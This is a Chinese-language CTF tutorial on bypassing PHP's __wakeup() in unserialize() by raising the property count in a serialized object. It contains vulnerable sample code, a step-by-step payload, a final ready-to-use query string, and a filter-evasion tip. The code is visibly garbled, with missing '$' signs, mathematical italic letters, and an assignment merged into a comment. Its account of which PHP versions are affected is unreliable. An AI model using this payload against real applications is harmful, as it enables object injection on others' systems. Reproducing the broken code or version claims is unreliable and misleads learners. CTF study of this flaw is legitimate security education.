一、漏洞原理简述

PHP中unserialize()函数用于反序列化字符串,恢复对象属性与方法。
当序列化字符串中对象属性个数大于真实类定义的属性个数时,会触发PHP底层漏洞:
直接跳过__wakeup()魔术方法的执行。

这也是CTF中最经典、最稳定的__wakeup绕过方式,适配绝大多数基础反序列化题型。

核心知识点

1. __sleep():序列化前自动触发

2. __wakeup():反序列化后自动触发(常被用于过滤、拦截恶意对象)

3. 绕过核心:修改序列化字符串中的属性数字,溢出计数即可失效wakeup

二、漏洞复现环境

• 操作系统:Windows 10/11

• 运行环境:PHP7(漏洞稳定复现版本)

• 工具:VS Code、本地PHP环境

三、原生漏洞代码(带过滤)
class Test{
    public flag = "fake_flag"; 
    public function __wakeup(){  
        // 禁止恶意反序列化,重置flagthis->flag = "error";
    }
    public function getFlag(){
        echo $this->flag;
    }
}

𝑠𝑡𝑟=_GET['str'];
𝑜𝑏𝑗=𝑢𝑛𝑠𝑒𝑟𝑖𝑎𝑙𝑖𝑧𝑒(str);
$obj->getFlag();
?>
正常传入合法序列化字符串,__wakeup会执行,永远无法拿到真实flag。

四、Payload构造与绕过思路

1. 正常序列化对象:O:4:"Test":1:{s:4:"flag";s:9:"fake_flag";}

2. 修改属性数量1 → 2

3. 构造溢出:O:4:"Test":2:{s:4:"flag";s:9:"fake_flag";}

绕过原理

PHP解析序列化字符串时,发现声明属性数量 大于类实际属性数量,判定数据异常,直接放弃执行__wakeup方法,成功绕过过滤。

五、最终可直接使用Payload
?str=O:4:"Test":2:{s:4:"flag";s:9:"fake_flag";}
访问后直接绕过wakeup,成功读取目标flag。

六、新手常见坑总结

1. PHP8版本修复该漏洞,必须使用PHP7环境复现

2. 属性数字只可改大不可改小

3. 不要乱改类名、字段名,只会导致反序列化失败

4. 题目存在字符过滤时,可搭配URL二次编码绕过
 

更多推荐